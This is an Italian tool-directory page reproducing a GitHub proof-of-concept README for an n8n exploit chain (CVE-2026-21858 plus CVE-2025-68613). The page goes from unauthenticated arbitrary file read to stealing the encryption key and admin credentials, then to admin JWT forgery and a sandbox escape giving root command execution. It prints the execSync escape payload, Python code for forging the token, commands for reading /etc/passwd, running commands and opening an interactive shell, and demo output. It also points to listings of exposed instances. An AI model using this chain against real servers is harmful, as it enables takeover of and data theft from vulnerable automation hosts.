Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-21858 — POC per CVE-2026-21858 | Kitploit
Strumenti/GitHubGitHub/fomovet/cve-2026-21858
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed TeamingSviluppo Payload
GitHubfomovet/cve-2026-21858

cve-2026-21858

POC per CVE-2026-21858

Vedi Repository
173 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-21858 + CVE-2025-68613 - n8n Catena completa

Lettura arbitraria di file non autenticata → Forgiatura del token admin → Bypass della sandbox → RCE

CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (Critico)
Versioni interessate<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
Versione corretta1.121.0 (AFR) / 1.120.4+ (RCE)
Divulgata2026-01-07 11:09 UTC
Nome in codiceNi8mare
CreditiDor Attias (Cyera)
ExploitChocapikk
ProcessoAutomazione IA: diff patch → repro → lab → exploit (~9h dopo la divulgazione)
TipoProva di concetto - NON è un exploit universale (richiede una configurazione specifica del workflow, vedi Limitazioni)

TL;DR

Catena RCE completa non autenticata su n8n:

  1. CVE-2026-21858 - Confusione Content-Type → Lettura arbitraria di file
  2. Leggi config + database → forgiare JWT admin
  3. CVE-2025-68613 - Iniezione di espressioni → bypass sandbox → RCE

Rilevamento

L'esposizione è basata sulla versione. In termini di esposizione, esistono istanze n8n vulnerabili accessibili pubblicamente.

Risultati LeakIX: Visualizza istanze esposte

Risultati di rilevamento LeakIX

Perché questo exploit?

Questo exploit è stato sviluppato in modo indipendente rispetto all'analisi di Cyera (scoperta dopo il completamento). Differenze principali:

Cyera (Ricerca originale)Questo exploit
Lettura fileCaricamento nella knowledge base dell'IA → interrogazione via chatRisposta HTTP diretta
PrerequisitiWorkflow chat + integrazione IAQualsiasi form con caricamento file
Metodo RCENodo "Execute Command" (disabilitato di default)Iniezione di espressioni (funziona su installazioni predefinite)
AutomazioneDemo manuale/concettualeScript Python completamente automatizzato

Entrambi gli approcci richiedono configurazioni specifiche del workflow. Cyera necessita di chat + integrazione IA, questo exploit richiede un form con nodo Respond. Vedi Limitazioni per i dettagli.

Catena di attacco

┌───────────────────────────────────────────────────────────┐
│                     UNAUTHENTICATED                       │
├───────────────────────────────────────────────────────────┤
│  1. Read /proc/self/environ → Find HOME directory         │
│  2. Read $HOME/.n8n/config → Get encryptionKey            │
│  3. Read $HOME/.n8n/database.sqlite → Get admin creds     │
├───────────────────────────────────────────────────────────┤
│                      TOKEN FORGE                          │
├───────────────────────────────────────────────────────────┤
│  4. Derive JWT secret from encryptionKey                  │
│  5. Forge admin session cookie                            │
├───────────────────────────────────────────────────────────┤
│                    AUTHENTICATED RCE                      │
├───────────────────────────────────────────────────────────┤
│  6. Create workflow with expression injection             │
│  7. Sandbox bypass via this.process.mainModule.require    │
│  8. Execute arbitrary commands                            │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Lettura arbitraria di file tramite confusione del Content-Type

La patch

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

Il leggendario "Merge commit from fork" - quando vedi questo, qualcuno ha trovato qualcosa di piccante. 🌶️

Causa principale

// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Invia Content-Type: application/json → controlla filepath → leggi qualsiasi file.

CVE-2025-68613 - RCE tramite iniezione di espressioni

Perché questo bypass?

n8n esegue in sandbox il codice utente (Code Node, espressioni) utilizzando vm2/isolated-vm. Altri vettori RCE:

TecnicaStato
Nodo Execute CommandDisabilitato di default (N8N_ALLOW_EXEC_COMMAND=false)
Nodi SSH/HTTPEseguono su server remoti, non sull'host n8n
Escape sandbox PyodideCVE-2025-68668 - richiede il nodo Python Code
Iniezione di espressioniCVE-2025-68613 - funziona su installazioni predefinite

Ho usato Iniezione di espressioni perché funziona su qualsiasi n8n con impostazioni predefinite - nessun nodo speciale o configurazione richiesta. Il bypass Pyodide (CVE-2025-68668) richiede il nodo Python Code che potrebbe non essere disponibile su tutte le istanze.

Il Payload

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

Le espressioni n8n hanno accesso a this.process.mainModule.require → escape completo della sandbox.

Forgiatura del token

# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configurazione del laboratorio

docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!

Utilizzo

# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Demo

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Limitations

Questo NON è un exploit "pwn any n8n". Richiede condizioni specifiche per funzionare:

RequisitoDescrizione
Form con caricamento fileIl target deve avere un workflow form con un campo di caricamento file
Nodo Respond to WebhookIl workflow deve restituire il contenuto del file nella risposta HTTP
Workflow attivoIl workflow del form deve essere attivato
Accesso non autenticatoIl form deve essere accessibile pubblicamente (senza autenticazione)

Esempio di configurazione di workflow vulnerabile:

Scarica lo strumento